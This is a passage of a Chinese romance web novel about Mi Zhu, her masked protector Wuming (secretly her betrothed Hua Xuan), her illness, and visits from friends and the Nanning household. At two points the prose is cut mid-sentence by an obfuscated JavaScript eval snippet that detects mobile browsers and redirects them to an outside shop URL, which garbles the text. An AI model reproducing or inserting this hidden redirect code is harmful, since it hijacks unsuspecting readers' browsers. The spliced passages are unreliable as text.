“我近来见不到少主,无法将这银票给她。蜜姑娘若是想要见他,恐怕还得亲自见才行。” 蜜珠一听这话,脑袋耷拉下来,有些难言的无措。 她不想见无名,尤其是面对面和对方说话。 虽说今日的确是蜜林说了那些话,让场面变得难堪,无名才拂袖离开。 可…蜜珠心里还是会有些气。 怎么这样嘛。男子汉大丈夫,这般容易生气。 偏偏蜜珠自觉欠了对方恩情,又没法说什么狠话。 如今能做的,也只是把暗器的钱给掉,好在金银器皿上不要占了别人的便宜。 这会儿听到阿晴说不能帮她转交银票,蜜珠感觉天都暗下来了,她心中本能抗拒和无名见面。 “那…”算了,她不强人所难了。 而且蜜珠忽的想起来,自己其实是有其他法子去转交银票的。 无名送她的那个哨子,只要一吹,就会有神秘人出现。上次帮着把妹妹找回来,就是靠了这个哨子的功劳。 她同样可以借助对方,把银票转交给无名。 …… 本来夜里该睡了。 但蜜珠翻来覆去睡不着,总忍不住想今日的事情。 她轻声坐起来,穿好衣衫,走到院子里轻轻吹了一声哨子。 原是试探一下,没成想,竟然直接就看到了一道身影忽然出现。 蜜珠朝后踉跄了半步,捂着心口有些防备。 竟然真的有人一直守着她?! “被吓到了?”出现的那道身影站在树下,低笑了一声。 这声音无比熟悉,蜜珠几乎立刻认出来这是无名。 于是惊吓感消失,转而生出一种气恼。 “你怎在此?” 这都什么时辰啦,入夜了! 无名怎么还能留在这儿? 他难道都不睡觉的吗,一直守在这里? 这些话虽然都没问出口,但华宣瞧着蜜珠一张小脸上浮现的种种灵动情绪,不由笑出了声。 “是你要寻我,我才来。” 一句话直接把蜜珠噎住。 她愣了半晌,软白的小脸都气得鼓了起来。 “你怎么知道我要寻你?”这人强词夺理。 她想到吹哨子,根本就是临时起意。无名不可能未卜先知,知道她会这个时候用到。 华宣见未来世子妃气成这样,明明知道自己不该再惹人家,但瞧着这姑娘生气时,一双杏眼愈发水盈盈的模样,心中就不禁浮起了波澜。 “我白日惹你生气了,想着你应当会寻我,才一直在这等着。” 华宣低声开口,木质面具挡着脸,瞧不清长相和神情。 但他这会儿说话的声音温柔极了,完全不像初见那日有些凶神恶煞的江湖侠客。 蜜珠顿住,一时之间不知道说什么话。 “…我并没有生气。”语调软了下来,但也有些赧然。 蜜珠察觉自己器量不如无名大,对方能开诚布公过来解释,自己却在心里猜忌对方,行事缺少这样的光明正大。 无名轻笑:“那我信了啊。” 他声音本就低沉,这般压低了嗓音说话,莫名让此刻的情景多了几丝说不清的缱绻。 蜜珠警觉起来,忆起自己要做什么,从袖子里拿出那张银票递过去。 “先前你为我定制了暗器,还没来得及问价钱。劳你费心为我做这些,不知道该怎么回报,这些银票你先拿着。” 庭树下少女青葱豆腐般水嫩的手,就这么抓着银票递来。 华宣生在王府,哪怕世子这个名分,是因着娘作为长公主,才被明帝封上,但的确是不缺钱的。 这还是头一次见到一个姑娘,面对面给他递银两。 而且对方还是在划清界限。 言语中虽有感激之意,到底是疏远了。 华宣明明知道对方为何如此,心中还是有些淤堵之气。 奈何他不能告诉对方,自己就是她名正言顺的未婚夫,并不算是外男,是可以接触的。 这些话只能憋在心里,华宣看着这姑娘递过来的银票,沉默了下来。 “蜜姑娘。”他温声开口。 “无功不受禄。这不必给我。” 蜜家有多少身家,华宣作为未来姑爷,自然是知道的。 蜜珠给出这样一张三千两的银票,几乎是把这姑娘的家当都清空了。 他送的暗器只是胜在巧思罢了,哪里需要她拿出来这些? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13598476|137955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 况且,他实在是很不喜欢蜜珠和他这么见外。 哪怕知道对方不清楚自己的身份,这些界限的划出,都是正常行为。但心底里的情绪,是无法轻易克制的。 “你…你为何不收,是嫌少吗?” 蜜珠不知他心底的想法,只以为那些暗器花费的代价太高,自己给的太少了。 可是她如今手头能动用的,的确就只有这么多。 南宁王府先前倒是送来了好大一笔银钱,可那些…蜜珠下意识不想去动用,还想着往后是否要还回去。 总之,将南宁王府送来的银子,用掉了,还是给一个陌生的男子,总觉得有些心虚。 这门婚事,到底是建立在陛下的赐婚基础上。 南宁世子…南宁世子将来是否还会不治而亡? 若是真的和前世一样了,她届时不论过门与否,能不能拥有一点自己的自由呢? 随着这几日的经历,蜜珠的心态和想法,不知不觉又有了一些改变。 瞧着面前少女拘束忐忑的模样,华宣心头像是被羽毛轻柔刮弄了几下,声音都变得愈发温和起来。 “不是嫌少。蜜姑娘,你于我有救命之恩。暗器只是随手赠予你的东西,用不到那些黄白之物。” 蜜珠怔怔盯着无名看了一会儿。 然而那张木质面具将整个五官都挡得很好,压根看不清除了两只黑色眼睛以外的地方。 她只能呐呐移开目光,心中恍惚。 被抢一辆马车,将对方安置了一夜,就算得上救命之恩么? 明明无名看起来神通广大,哪怕不需要自己的帮助,也能有许多手下,显得神神秘秘的。 但对方都已经把话说到这个份上了… 蜜珠沉默了一阵,打消了念头,轻声道。 “今日阿晴教习回来了。” 华宣听出了她的言外之意,从鼻子里“嗯”了一声。 “我只是来看看你。” 停顿片刻,华宣像是忍不了了一般,低声道。 “我今日拂了你的面子,就这么离开,你怪我是应当的。” 蜜珠一惊,随即脸像是火烧一样烫起来。 “无名!”她莫名低喝出口,不愿让对方继续把话说下去。 有时候,无名这样压低了嗓音和她讲话,总有一种好像会说出什么过于亲近言语的感受。 华宣惊叹于这姑娘的直觉敏锐,挑了挑眉梢,唇线绷直,不再说话。 气氛沉默了一阵,蜜珠猛地意识到什么,不自在的扭头。 “我要回去了。你,你不要再来了。” 虽然这样说很伤人心,但他们两个人之间是不可能的。 顿了顿,她将自己脖子上的哨子取下来,递给对方。 “先前不知这哨子的作用,误打误撞用它帮了忙找回我妹妹,已经是欠了你的人情。如今这哨子还给你,请你不要再让人守在我家附近了。” 她心中本就清楚,和无名之间一开始是交易。后来自己想要习武,才会接纳对方介绍来的阿晴。 再到后来… 不知不觉就到了现在这样。 今日她只是推脱不过,收了对方打造的暗器,明日她会不会不小心又推脱不过,收了对方送的首饰? 再后来… 蜜珠抿着唇,再次重复了一遍。 “我很感激你的好意,但…但还是不要再管我了。” 说这话时,蜜珠莫名觉得自己像个负心汉。好像在对一个深情不二的好姑娘说着分开。 明明她从来没承诺过无名什么,也不曾有过异样的情愫,但对方这一刻的眼神,就是给了她一种大狗狗被抛弃的感觉。 藏在木质面具后的那双深沉眼眸,瞧着幽深又黑亮,就是有点儿清澈无辜。 他不说话,就让气氛莫名显得尴尬。 蜜珠心里六神无主起来,却还勉强让自己瞧着淡定,抿着唇问。 “你干嘛不讲话。” 一声不吭的无名站在对面,哪怕身形高大修长,能压过她两个脑袋,但气质上就是透了点可怜。惹得蜜珠开始自我反省,是不是她话说的太不近人情了? 就在她快要跑路回房时,对方终于开口了。 “蜜姑娘。” 蜜珠刚要抬起的脚一顿,重新定在原地,抬起脸看他。 “嗯?” 月下的姑娘一头如瀑长发,眉眼漂亮到如诗如画,朦胧的双眸氤氲着今夜的月光,纤腰款款,完全就是会随时踏着风去宫阙的模样。 华宣克制住自己想要将这抹身影扣住的冲动,一字一顿问道。 “蜜姑娘想要的丈夫是什么样的?” 44.第 44 章 咦? 猛不丁被问了这样的问题,蜜珠几乎是愣在那儿,有些反应不过来。 但下一刻,她想起来自己的未婚夫南宁世子是何种情况,心中对于无名问出的这个问题,就生出了些许恼怒。 “南宁世子已经极好。” 亏她还觉得无名先前只是看着不靠谱,实则有些君子之风。如今对方处处失利,连带着蜜珠都开始沉不住气,想生气。 “还请无名阁下不要再提这种话为好。” 若是让她说出对未来丈夫的期待,好像无论她说出什么样的话,都是在表达对南宁世子的不满。 毕竟没有女子会天然的希望丈夫是个病弱痴傻的人。 无名这个问题简直不怀好意。 美人一生气,整张脸神采愈发动人,很有朝气的那种美。 华宣深深注视着她,心都跟着一起化了,声音却还要保持平静。 “抱歉。是我不知礼数,冒犯了你。” “那么…我便祝你和南宁世子百年好合了。” 说出这话时,华宣的唇扬起。 哪怕隔着面具,蜜珠看不清他的长相,也能从语气中听出那股轻松快乐。 蜜珠顿时就困惑了。 听起来,无名好像是在真心实意祝福自己的婚事。 难道之前真的是她误解了?误把江湖人大大咧咧不拘小节的表达方式,当成了对方在表达倾慕之心? 她没有再多想:“谢谢。” 两人结束了交谈,蜜珠没能把银票送出去,但至少把哨子还回去了。 蜜珠回到房中,睡了个好觉。 躺回榻上的时候,在外头守夜的小柳儿像是听到了动静,迷迷糊糊醒过来。 “小姐?你喊我了吗?” 蜜珠轻笑:“没有。继续睡吧。” 听到小姐这么说,小柳儿才重新让自己跌回梦乡。全然不知自家小姐刚从外头院子里溜达了一圈回来。 这一晚,蜜珠睡着后做了很多梦。 梦里一会儿她成亲了,就要拜堂了,却发现新郎官换人了。 临到洞房换成了戴着一张木质面具,冲她轻轻笑了声的某人。 “啊!”蜜珠几乎是一身冷汗地从梦里醒了过来。 等看着外头天光大亮,蜜珠却觉得脑袋晕晕沉沉的,察觉自己似乎受凉了。 一定是昨天夜里出去和无名讲话,才会受了凉。 呜呜呜呜,蜜珠忽然好不委屈。 月夫人定下来的期限只有三日,她要是病了,怎么去完成任务呀。 想强撑着起来,可是身体却有些不听使唤,手脚发冷,脖子也是缩着的,甚至刚一坐起来,脑袋里就冒金星,蜜珠又软软跌回了被褥,像只没力气的小奶猫。 呜呜呜…都怪无名。 她扯着被角,将自己缩成一团,觉得好冷好冷。 身体一不舒服,人就容易从坚强的状态,变得柔软下来。 迷迷糊糊之间,蜜珠听到了身旁人的动静。 蓄月发觉自家小姐脸色不对,一摸额头,心知坏了,这是受寒了,于是立刻去请大夫。 没多久,王氏和蜜云都进了屋子,守在了蜜珠床边。 王氏见着女儿病了,心疼到不行,上前搂住,替她盖好了被子。 “怎么好端端的会受了寒?” 王氏不解。 想来想去,肯定是这些日子女儿太累了,日程安排的这么紧密,才会体力不支受寒。 昏昏沉沉躺着的蜜珠,小脸苍白到惹人怜,长长的羽睫微微颤着,能看出正在梦魇中,睡觉都不踏实。 蜜云看着嫡姐难得的脆弱模样,细声道。 “嫡姐这几日太辛苦了。” 那日自己走出府里,遇到了西域的坏婆婆差点出事,害得嫡姐从月夫人府里匆匆回来找自己。蜜云心中就一直有些自责。 本来夜里她说好了要来和嫡姐一起住的,但想着对方太忙,学规矩都来不及,恐怕自己过来了耽误嫡姐休息,便没有再过来。 没想到嫡姐还是累到不舒服了。 王氏这会儿看着和蜜云如出一辙的担忧心疼,倒像是亲母女一般了。 刘小娘自从上次女儿被找回来之后,就沉寂了几日,没再闹出什么风波。 今日听见蜜珠受寒了身体不适,想着自己也该为女儿筹谋一条路,就也赶着这个时候特意过来探望一番。 她一到房中,就见王氏和女儿蜜云凑在一块儿,低声细语说着什么。 本来面容上还挂着几分挤出来的担忧,但见着了这幅画面之后,这些挤出来的神情消失,下意识变成了几分怒意和落寞。 她生出来的女儿,和她相处时,却没有这般融洽。 刘小娘心中一时间酸涩极了,走过了咳咳了两声。 蜜云和王氏同时回头。 “听说大小姐有些不适,我来瞧瞧。请大夫了吗?” 刘小娘不太擅长地开口寒暄。 王氏错愕了片刻,轻声点头:“请了。” 一时间,两人女人都有些沉默。 在府里的这十几年,刘小娘几乎从来没有过如此友善的时候。 半辈子都是个妾室,刘小娘心中是不愿的。但出身和经历,让她被定格在了这个位置上,成了无可奈何。 于是明明性情比自己懦弱,也没有什么威慑力的王氏,就成了让她无比反感的一个对比。 倘若她能有王氏的出身,或者容貌,她一定能让自己活的更好。 但是直到今日,刘小娘隐隐明白了一个道理。 其实她该庆幸,主母王氏是一个这样的人。 因为她以为的那些懦弱性情,放在一个主母身上,反而成了对她这种妾室的保护与包容。 所以她才能这么多年都保留着过去的性子,不曾吃过什么大亏,还能亲自抚育自己的女儿。 要明白这个道理很简单,就在王氏这段日子突然发了狠整治府中规矩的时候。 ——原来王氏不是不会管人,只是不想管而已。 已经过了辰时,白豆蔻与姜芊望着彼此,都有些诧异。 “蜜珠还没来吗?” 虽然才和蜜珠相处了几日,却都已经知道她不是那种会食言误了约定的人。 果然没过多久,就有小厮过来传话,说自家小姐今日身体不适来不了了。 其实昨日三人一起背穴位图,互相提背草药药性时,已经有了不小的进展。 但若是耽误个一日,那要按时完成月夫人吩咐的任务,可就有些来不及了。 姜芊是个急性子,听到蜜珠身体不适,不能出门,就对白豆蔻道。 “闲着也是闲着,不如我们去拜访蜜家,看看蜜珠姐姐。” 往日姜芊的眼光高,对于一众同龄的贵女,并不看在眼里,很难亲近其他人。 但对蜜珠却有种天然的亲近感,提起去看蜜珠的时候,整个人都显得活泼了几分。 白豆蔻却有些犹豫,想着人家若是身体不适在养病,她们冒然过去,是否会给对方添麻烦。 然而姜芊却没给她考虑的机会,将她一拉。 “蜜珠姐姐没什么朋友,瞧她往日也不和旁人打交道,生了病最是脆弱,需要人关心,我们去了,兴许她还会开心。” 一边说着,姜芊已经风风火火拉着白豆蔻出门了。 惹得白豆蔻连连摇头轻叹。 “慢些慢些,走这么急,小心摔着了。” 她真怀疑,若是好友出生于武将世家,是不是会成为一个巾帼女英雄。 嘴上说着姜芊,白豆蔻却任由身体跟着对方的拉扯往外走。 说到底,她心中也是关切蜜珠的。 只不过她常常因着规矩的束缚,刻意隐藏内心真实想法,并且只在合适的场合做合适的事儿,而尽量不节外生枝。 作为皇后的母族,她天然承担着一些世人对女性的期待,得有一国之母族人的表率。最好就像个好看的花瓶那样,能承载一些无害的世俗期盼,成为合适的大家闺秀。 但姜芊却常常能用那种表面上的鲁莽直率劲儿,将她的那些规矩意识冲破,带着她去做一些以她自己很难去做的事情。 等蜜珠这边请了大夫,把过脉,开了方子煎药的时候,白豆蔻两人也到了蜜府。 听到白家姜家来人,王氏愣了一会儿。 女儿自小在她的叮嘱下,不怎么和京中贵人来往,以至于这么多年也就只有一个远离了京城的手帕交书信来往,除此之外,没有什么其他友人。 所以这些年从来没有同龄的贵女,来主动探望过蜜珠。 但好在经历过接待长公主提亲这事,王氏也多了些心理准备,知道不能失了礼数,亲自接待了姜白二人。 姜芊也是王侯之女,身份尊贵自不必说,祖上是跟着太祖一起打江山的,自有先祖留下的荣耀庇身。 而白豆蔻的身世更是明了,只要皇后在,白氏一族的荣光就不会黯淡到哪里去。 甚至京中所有适龄的公子,多半都以娶到白氏女为荣。 这二人背后的家族地位,比起表面看似尊贵的南宁王府,自然还要再稳固一些。 总之,是怎么都不可能发生,把这样的两个贵女,安排给南宁王府世子的这种事儿。 所以王氏在瞧见了白豆蔻与姜芊后,心中有些说不出的酸楚。 自家闺女无论是容貌还是气度,都不比这两个姑娘差,然而婚事上却如此坎坷,如同被命运捉弄了一般,就连配上一个疼人的夫婿都没福分。 当娘的只要想到这事,心中就一阵绞痛,忍不住抹泪。 这是长公主哪怕作为婆婆再好,也无法弥补的遗憾。 不说王氏对姜白二人的热情招待和心中反应了,姜芊藏不住事儿,瞧见王氏时,忍不住心直口快道。 “早先见着蜜珠姐姐,以为这样的美人世间能有一个,已经是老天开眼了。想不到伯母竟然也是这样的大美人,难怪能生出蜜珠姐姐这样的女儿。” “若我也是伯母的女儿,想来我也能生成天宫仙子的模样,那该多好。” 姜芊感叹。 这话虽说的冒昧夸张,但姜芊却是字字真心。 王氏一出场,活脱脱一个年长版本的蜜珠,只不过王氏眉眼间,比起蜜珠,多了几丝说不出的愁绪,瞧着像是常年在后宅有些心事的人。 且眉眼过于温婉,一看便是以夫为天的那种性子。 相比之下,蜜珠显得更加清新灵动一些,眼神虽然也温柔,却暗藏一股不明显的韧劲儿,就像风中蒲草一般,任凭风吹来吹去,看似摇摆柔弱,却还有自己的根,不会被吹断。 有了对比,姜芊就更加喜欢蜜珠了。 王氏被她一顿夸,哪怕如今有了些年纪,还是不好意思地笑了。 “…我们蜜珠不常与人来往,今日看见你们来探望她,我这当娘的不知道多欣慰,她也算是有了知心的朋友。” 姜芊笑呵呵回。 “伯母不用担忧,有我和豆蔻姐姐在,绝不让蜜珠姐姐感到孤单。往后只怕我们常来叨扰,搅了您的清净。” 她一番话让蜜府的气氛,热闹到像是过年。 白豆蔻则一直文文静静在一旁看着微笑,显得温婉大方,虽然没说几句话,却也对气氛有一种缓和。 聊了一会儿后,还是白豆蔻想着正事,问起蜜珠的情况如何了。 王氏脸上笑容一收,心疼道。 “请了大夫看过,有些受凉。大夫说这孩子心中有事,这几日想的多了…” 兴许是平日里没什么人说话,姜芊和白豆蔻今日将气氛活跃的太好,让王氏有了亲近心理,她话就多了一些。 这句话说了一半,她又止住话头,意识到自己说多了。 南宁王世子与蜜珠的婚事,放在京城几乎路人皆知。她若是说多了,难保不会让有心人产生联想,以为她在抱怨这桩婚事。 嫁给南宁世子委屈了女儿,这道理明眼人都知道,但就是不能正儿八经说出来,不然就得罪了长公主和明帝。 王氏就是再不通朝堂之事,也知道这些世家贵族之间盘根错杂,不像她像的那么简单。 好在她收了话之后,白豆蔻只是微微笑了下,没有多追问,虽然她也看出了王氏的局促。 姜芊则更加直率一些,并没有留意到这其中的弯弯绕绕,只跟着王氏一起道。 “月夫人给我们的任务太多啦,说是学规矩,其实不只是规矩。蜜珠姐姐一定也是累着了。” “大夫有说多久能好吗?月夫人只给了我们三日时间,今日便是第二日了…” 听到她这么说,王氏这才担心起来。 “若是不能完成任务了又会如何?” 之前老爷说要给珠儿请教养嬷嬷,其实王氏就不是很赞成。 以后进了王府要学一辈子的规矩,哪里用得着赶这两个月。 好不容易她立起来了,能是个有点魄力的主母了,王氏一直很想让女儿剩下的两个多月时间,在闺中更加自由一些,能去做自己想做的事儿。 可惜在这点上,老爷一意孤行,坚持为女儿请了教养嬷嬷是为了她好。王氏也就只能退让。 说到底,她心中有些观点,虽然已经变化了,但内心深处还是知道,女子势弱,嫁人之后全看婆家良心,娘家只能在大事儿上做一个靠山,平日里具体生活的细节,还是要珠儿自己去面对。 这才是王氏退让的关键,她希望蜜珠能在南宁王府生活的好,不被欺负,能得到婆家的厚待。 “我们能去看看蜜珠姐姐吗?” 姜芊又提出了请求。 她们人都来这里了,便也想进去瞧瞧。 白豆蔻在一旁欲言又止,但还是没有打断姜芊的话。 有些话换了她的性子说不出口,但若是姜芊来说,她心中也是乐意的。 王氏怔了怔后,见姜芊二人是真心关切蜜珠,脸上神情又舒展开,点头道。 “自然是能的。她喝了药睡过一觉,这会儿该是醒来了。” 说罢,她让一旁的大丫鬟带两个姑娘进去见蜜珠。 … “没想到,蜜家瞧着挺拮据。” 姜芊和白豆蔻并肩而行,压低了声音悄悄开口。 实在是蜜家住的地方并不算大。 虽说每个主子都有一个独立的小院儿,但比起王侯之家,只能算是麻雀虽小五脏俱全,全然没有那种富贵人家的气,没有丝毫奢华。 瞧她这么说,白豆蔻又推她的胳膊一下。 “这话不要在人前说。” 姜芊爽朗一笑:“我自然不傻。” 她不过是心疼蜜珠姐姐罢了。 满京城能找出来如此容貌的姑娘吗,说句真心话,她也有幸进宫见过宫妃,那些占着后妃位置的娘娘们,虽说在气度和威严上胜过蜜珠姐姐,其余地方,无论是脸还是那种婀娜身姿,都是远远不及蜜珠姐姐的。 这等神仙妃子的人物,瞧见她没能被如珠如宝的养大,心里都会替她抱不平,觉得她被亏待了。 等两人进了蜜珠的小院子,刚好赶上蜜珠喝了药之后睡醒。 这会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13607292|137955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿蜜珠的脑袋没有之前那么昏沉了,她心中本就担忧月夫人的任务没能完成,一听小柳儿进来说姜白二人来了,立刻就让人将她们请进来。 可话才说了一半,她又阻拦道。 “等等,还是别让她们进来了,告诉她们,我身上有病气,恐过到他们身上。” 哪知道这话才说完,就见姜芊一个箭步从外头冲了进来,丫鬟们甚至来不及拦。 “蜜珠姐姐,你这话就说的不对了。一个小风寒,我才不会怕。你说那话显得见外。” 姜芊穿着鹅黄的衣衫,从外头一进来,就带来了明媚的春光,屋子里一下子变得热闹起来。 随后是白豆蔻慢了一步走进来,都围在了蜜珠的床幔前。 “今日见你没按时来,心里就担忧。后来你府上的小厮来传话,我们便想着来看看你。” 白豆蔻温声细语,解释了前因后果。 “怎么会忽然病了?要紧吗?你别担心,月夫人不是不通人情的人,若知道你病了,她不会强求你完成任务。何况你还有我和姜芊,我们二人自然也会帮你。” 出奇的,听着姜白二人你一言我一语,蜜珠心头的那股焦虑,忽然被抚平,不再那么着急,连带着整个人放松下来,眼眶也止不住发热。 处在病中的时候,看到有人这么真心实意关怀你,很难不感动。 “谢谢。”蜜珠虽一脸病容,却依然掩不住美貌。 看着姜芊都忍不住俯身过来:“蜜珠姐姐,你要是我亲姐姐,生在我们姜家就好了。” 说这话的时候,蜜云也刚好进来,看到自家嫡姐床边围着两个其他姑娘。 她垂着脸,又悄悄退了出去,没有惊动到其他人,心中却略有酸楚。 从前她就很喜欢嫡姐,知道嫡姐这样的人,会受到很多人欢迎。 但真的见到这一幕,心里却有种嫡姐会离自己越来越远的感觉。 她好不容易才能和嫡姐这样相处,不用担心小娘会生气,却也到了该分别的时候。以后嫡姐会有很多人喜欢。 她并不是那种极其聪慧漂亮的妹妹,会不会慢慢的也成为微不足道的一个人? 但即使这样,蜜云也不想进去嫡姐和新朋友们相处。 想也能知道,月夫人府上那些学规矩的姑娘,多半是家中有来历的。嫡姐能有这些朋友,对将来会有好处,兴许在什么时候就能帮上嫡姐。 “你是蜜府的二姑娘吧?” 身后陡然传来声音。 蜜云步伐一顿,转过头。 白豆蔻不知道什么时候跟了出来,刚好将蜜云方才默默垂泪的神情看在了眼里。 蜜云很少见到生人,她的性子和以前的蜜珠极为相似,姐妹俩都是不爱出门的,造成了见到外人就有些不知所措,反应都迟钝了的样子。 “…我是…” 她声音细弱蚊蝇,并不和白豆蔻对视。 白豆蔻身上的衣服料子,看着便是当下时兴的。蜜云和蜜珠姐妹俩都不爱打扮,反倒是刘小娘很喜欢珠宝首饰连同华美的衣裳,往日的月银,刘小娘甚至会省吃俭用专门放在打扮上。 这也让蜜云对于什么胭脂水粉好用,什么衣裳布料最华贵,心中有了些印象。 嫡姐的这两个朋友,应该多半都是大官的千金。 嫡姐和她们往来还算正常,但自己毕竟是庶女,如何能走到一块儿,想到这里,蜜云心中已经先生出了几丝自卑,不敢再说什么话了。 白豆蔻这会儿瞧着蜜珠的妹妹,有些啼笑皆非。 兴许是她在京城,见多了眼高于顶的贵女,知道他她们每个人都有些孤芳自赏,不怎么正眼看人。哪怕明面上见到了会彼此碍于权势吹捧几句,但心底里是大家谁也不服气谁的。 可蜜家的两个姑娘,却像是和众人倒了过来。 表面上看闭门不出,也从来不去参加任何贵女们的宴会,仿佛瞧不上众人一般。 可即使这样了,蜜珠的名声也是一直传扬在外,有众多纨绔会在私底下说她生得如何倾国倾城,这让人听了如何心里不恼。倒是显得其他常常在外的贵女们,贪图虚名和热闹浮华似的。 而今白豆蔻接连见到了蜜家的两个姑娘,心中的那种感受就更强了——蜜家姑娘很讨人喜欢。 虽说性子稍显懦弱,但却因着这股天然的文静,才和那些计较名声的贵女不一样。 蜜家姐妹都有一双温柔清澈的眼眸。 “你方才已经到了门口,怎么又走了呢?”白豆蔻忍不住问。 蜜云迟疑片刻,还是说了实话。 “嫡姐在养病,有客人来,我不方便打扰。” 小娘总让她多和嫡姐接触,把感情弄深了,将来才能借着嫡姐去说一门好亲事。 这事儿蜜云总是不喜欢。 她愿意和嫡姐呆一块儿,那是因着天然的喜欢,而不是为了筹谋未来,在嫡姐身上获取什么。 小娘给她说的那些话,蜜云哪怕听懂了是为了自己好,也没法真心实意的去做。 想起那些,蜜云说话的神情更加不自然了。 白豆蔻看出她有心事,不觉更加好奇了一点。 “你们府里的规矩很严吗?” 蜜云摇头。 想了想,她怕对方误会嫡姐,忍不住多解释了几句。 “我在府里,要去探望嫡姐,什么时候都合适。但你们是专程过来,自然要分优先。” 这话一说,白豆蔻立刻更加觉得蜜云懂事了。 “你和你嫡姐都很温柔。” “往后有什么宴会,你和你姐姐一起来。” 她发出邀请。 蜜云犹豫片刻,只能先应下来。 “好。” 既然是贵人相邀,哪怕只是为了面子,只嘴上一说,也没有特意拒绝的道理。 姜芊和蜜珠说了会儿话后,见她困意绵绵,不住打呵欠,就知道她应是累了,于是主动提了离开。 等到和白豆蔻一道儿出去时,就听白豆蔻主动问起。 “你怎么看蜜家?” 姜芊诧异:“咋看?就是个小官。” 察觉到自己这话说的太直白,姜芊又解释了几句。 “可惜蜜珠姐姐了。” 瞧着美人生在这儿,总有种明珠暗投的惋惜感,再联想到对方的婚事,这种惋惜感就更强了。 白豆蔻若有所思:“你不觉得今日的伯母,瞧着有些面善?” 姜芊不假思索:“当然,她和蜜珠姐姐看着几乎是一个模子里刻出来的。” 美人酷似其母,只不过气质风韵不同,各有千秋。 白豆蔻没再说话,只是笑了笑,重新扯开了话题,又说起了看到蜜云的事儿。 听见蜜珠的妹妹性子文静,又在她们来看蜜珠的时候提前避开,姜芊都生起了几丝好奇心。 “想来下次我们也该给蜜府的二小姐下个帖子,让她一道儿来吃茶。” 对于因着她们出身来攀附权贵的人,姜芊看惯了就生出反感和不喜,如今陡然见到蜜珠姐妹俩这样,性子简简单单没什么算计的,就跟看到了一股清流一般,忍不住喜欢。 两人从蜜府离开时,就见一行家丁抬着轿子,停到了蜜府大门跟前。 看轿子上,赫然是南宁王府的标志。 姜芊注意到这一幕,好奇极了,脑袋都差点伸出去,被白豆蔻一下拉了进来。 “不要多事。” “好嘛好嘛。”姜芊只能打消了看热闹的劲儿,规规矩矩坐好。 只不过,这个时候南宁王府派人来是什么意思? 45.第 45 章 这一日对蜜珠来说,过得有些混沌和漫长。姜白二人前头刚探望完她,她竟然又见到了从南宁王府送来的大夫。 南宁王府的根脚算不上扎实,但胜在有个长公主撑着门眉。 是以王府里常年养着太医,有个什么头疼脑热的都能及时解决,也算是当今陛下对于南宁王府的恩典了。 南宁王府的家丁,抬着太医,连人带轿进来,都把蜜府的人弄了个措手不及。 随同太医一起来的,还有一个跟随长公主多年的老嬷嬷,正慈祥温和又不失气度的和王氏交谈。 “听闻大姑娘今日身体不适,长公主听了心疼,立刻让老奴带人过来瞧瞧。” 老嬷嬷不愧是深宫里出来的人,这往那一站,立刻就让人联想到天家的气派。 府里的其他下人,在老嬷嬷跟前,都有些站不住,下意识心虚几分。 还是王氏兜住了,赶紧让大丫鬟进去瞧瞧蜜珠。 他们都知道,像老嬷嬷这种老人,都是贴身在长公主身边服侍的,代表的就是主子的脸面。 今日老嬷嬷在这里说的每一句话,看到的每个景象,回去以后多半都是要说给长公主听的。 这就让众人更加紧张。 蜜珠就寝的厢房中。 “大小姐,要不让太医进来看看?王府的老嬷嬷亲自送着太医来看您了。” 小柳儿怯怯的在蜜珠身旁开口,咽了咽口水,还没缓过神来刚才的那股惊愕劲儿。 乖乖,她原本还觉得小姐嫁到南宁王府是受委屈,将来还得看婆家的脸色过日子,毕竟配了个那样的痴傻世子,将来想必是难熬的。 可没想到,南宁王府竟然如此把小姐放到心上… 前些日子长公主亲自来送聘礼,就已经能彰显王府对小姐的在乎了。 如今小姐只是受了点风寒,对面就能马上听到动静,并将太医打包送来。 随同而来的,竟然还有一众专门贴身伺候的丫鬟婆子和一些珍稀的药材。 大有一种,整个王府要为了小姐,掏空库房的架势。 满京城去寻这样的婆家都难啊。 不仅小柳儿震惊,蜜珠也有些愣住。 喝了药之后,她意识就一直有些恍惚。这半日都是卧在床上休养,只盼着明日能彻底好起来。 “我…何须如此劳烦,我都好了…” 蜜珠不太自在的开口。 小柳儿继续道:“可来的可是太医。”太医的本事那么大,只有那些王侯贵族才能被诊脉。让太医看看,兴许就比先前的大夫看的更好呢。 蜜珠没说话,只低着头咬唇不语。 受到南宁王府的恩惠越多,她心中就越不自在。 尤其是她这次染上风寒受凉,是因着昨儿夜里和无名说话… 虽然她心里知道,自己对无名并没有任何其他的情愫,是出于一些复杂的原因,才有了夜里的交集。 但这种事儿,到底是违背了闺阁女子的准则的。 她因此而受寒,却受到了正牌未婚夫婿家人的关心,亲自送来太医看自己… 想想就抬不起头,蜜珠更加愧疚了。 她撑着床榻,想坐起来。 “人已经来了吗?” 小柳儿小鸡啄米一样点头,一旁的蓄月见蜜珠身体酸软无力,立刻从一旁拿了个软枕,放到她背后垫着。 蓄月:“就在外头候着。” 听到这里,蜜珠知道自己只能同意让人重新把脉诊治了。 说句实话,这门亲事成了之后,南宁王府就没亏待过自己。 他们几乎已经把给一个未婚妻的体面,做到了极致。 蜜珠心中愈发打定主意,往后要对那世子好一点儿。 想起那日看到的南宁世子,无论是躺在那睡着,还是坐起来醒着,都有种无法形容的清俊,是时下京城里的贵公子哥没有的气质。 若对方不痴傻,想必这门婚事也是万万落不到自己头上的。 